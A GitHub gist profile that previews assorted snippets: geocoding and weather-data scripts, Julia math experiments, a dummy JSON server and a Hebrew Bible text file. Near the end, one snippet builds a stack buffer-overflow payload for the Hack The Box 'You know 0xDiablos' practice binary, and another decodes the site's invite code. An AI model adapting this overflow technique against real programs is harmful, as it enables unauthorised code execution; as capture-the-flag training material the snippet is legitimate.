Skip to content

Instantly share code, notes, and snippets.

View originalsouth's full-sized avatar
🧭
0x686F6D6969

originalsouth

🧭
0x686F6D6969
View GitHub Profile
@originalsouth
originalsouth / nominatim.py
Created September 25, 2025 08:28
Nominatim
import httpx
def retrieve_coordinates_from_address(
address: str, country_codes="NL"
) -> tuple[float, float]:
url = "https://nominatim.openstreetmap.org/search"
params = {
"q": address,
"format": "json",
@originalsouth
originalsouth / getweerdata.py
Created September 5, 2025 11:31
Get weather daily data throughout the Netherlands from 2023 onward
#!/usr/bin/env python3
# pip install meteostat pandas tqdm
from datetime import datetime, timezone
import time
import pandas as pd
from meteostat import Stations, Daily
from tqdm import tqdm
START = datetime(2023, 1, 1) # tz-naive
@originalsouth
originalsouth / collatz.svg
Created June 27, 2025 07:56
Collatz graph svg rendering
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@originalsouth
originalsouth / belphegor.jl
Last active February 2, 2025 19:55
Yet another belphegor's prime script
#!/usr/bin/env julia
using DataStructures
using Primes
using Statistics
belphegor(x::Integer) = parse(BigInt,(z -> "1$(z)666$(z)1")("0"^x))
buf = CircularBuffer{Float64}(100)
@originalsouth
originalsouth / e.jl
Created January 27, 2025 17:53
Calculate e by drawing random numbers
#!/usr/bin/env julia
using Random
function play()
r=0.0
counter=0.0
while r<1.0
r+=rand(Float64)
counter+=1.0
@originalsouth
originalsouth / potato-server.py
Last active August 8, 2024 08:29
Serve a generated JSON on any request
#!/usr/bin/env python
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class PotatoServer(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "application/json")
self.end_headers()
@originalsouth
originalsouth / install_openkat_python.zsh
Last active March 5, 2024 08:03
Install OpenKAT Python
#!/usr/bin/env zsh
DIR=${0:a:h}
PREFIX="nl-kat-coordination"
[ -d "$DIR/python" ] && rm -rf "$DIR/python"
python -m venv "$DIR/python"
source $DIR/python/bin/activate
@originalsouth
originalsouth / tanakh.txt
Last active March 2, 2023 13:41
Tanakh: all 929 chapters
This file has been truncated, but you can view the full file.
בְּרֵאשִׁ֖ית בָּרָ֣א אֱלֹהִ֑ים אֵ֥ת הַשָּׁמַ֖יִם וְאֵ֥ת הָאָֽרֶץ׃וְהָאָ֗רֶץ הָיְתָ֥ה תֹ֙הוּ֙ וָבֹ֔הוּ וְחֹ֖שֶׁךְ עַל־פְּנֵ֣י תְה֑וֹם וְר֣וּחַ אֱלֹהִ֔ים מְרַחֶ֖פֶת עַל־פְּנֵ֥י הַמָּֽיִם׃וַיֹּ֥אמֶר אֱלֹהִ֖ים יְהִ֣י א֑וֹר וַֽיְהִי־אֽוֹר׃וַיַּ֧רְא אֱלֹהִ֛ים אֶת־הָא֖וֹר כִּי־ט֑וֹב וַיַּבְדֵּ֣ל אֱלֹהִ֔ים בֵּ֥ין הָא֖וֹר וּבֵ֥ין הַחֹֽשֶׁךְ׃וַיִּקְרָ֨א אֱלֹהִ֤ים ׀ לָאוֹר֙ י֔וֹם וְלַחֹ֖שֶׁךְ קָ֣רָא לָ֑יְלָה וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם אֶחָֽד׃
וַיֹּ֣אמֶר אֱלֹהִ֔ים יְהִ֥י רָקִ֖יעַ בְּת֣וֹךְ הַמָּ֑יִם וִיהִ֣י מַבְדִּ֔יל בֵּ֥ין מַ֖יִם לָמָֽיִם׃וַיַּ֣עַשׂ אֱלֹהִים֮ אֶת־הָרָקִיעַ֒ וַיַּבְדֵּ֗ל בֵּ֤ין הַמַּ֙יִם֙ אֲשֶׁר֙ מִתַּ֣חַת לָרָקִ֔יעַ וּבֵ֣ין הַמַּ֔יִם אֲשֶׁ֖ר מֵעַ֣ל לָרָקִ֑יעַ וַֽיְהִי־כֵֽן׃וַיִּקְרָ֧א אֱלֹהִ֛ים לָֽרָקִ֖יעַ שָׁמָ֑יִם וַֽיְהִי־עֶ֥רֶב וַֽיְהִי־בֹ֖קֶר י֥וֹם שֵׁנִֽי׃
וַיֹּ֣אמֶר אֱלֹהִ֗ים יִקָּו֨וּ הַמַּ֜יִם מִתַּ֤חַת הַשָּׁמַ֙יִם֙ אֶל־מָק֣וֹם אֶחָ֔ד וְתֵרָאֶ֖ה הַיַּבָּשָׁ֑ה וַֽיְהִי־כֵֽן׃וַיִּקְרָ֨א אֱלֹהִ֤ים ׀ לַיַּבָּשָׁה֙ אֶ֔רֶץ וּלְמִקְוֵ֥ה הַמַּ֖יִם קָרָ֣א יַמִּ֑ים וַיַּ֥רְא אֱלֹהִ֖ים כִּי
@originalsouth
originalsouth / vuln.zsh
Created May 3, 2020 20:02
You know 0xDiablos
#!/usr/bin/env zsh
[[ -z $DEBUG ]] || set -x
TARGET=./vuln
BUFF=$(printf 'x%.0s' {1..188})
FUNC=$(printf '\xE2\x91\x04\x08')
VAR1=$(printf '\xEF\xBE\xAD\xDE')
VAR2=$(printf '\x0D\xD0\xDE\xC0')
PADD=$(printf '\xFF%.0s' {1..4})
PAYLOAD=$(printf '%s%s%s%s%s%s' $BUFF $FUNC $PADD $VAR1 $VAR2)
[[ -z $DEBUG ]] || echo -n "$PAYLOAD" | xxd
@originalsouth
originalsouth / htbi.zsh
Created May 3, 2020 20:00
Hack The Box Invitation
#!/usr/bin/env zsh
echo $(curl --request POST https://www.hackthebox.eu/api/invite/generate 2>/dev/null | cut -d\" -f8 | base64 -d)
exit 0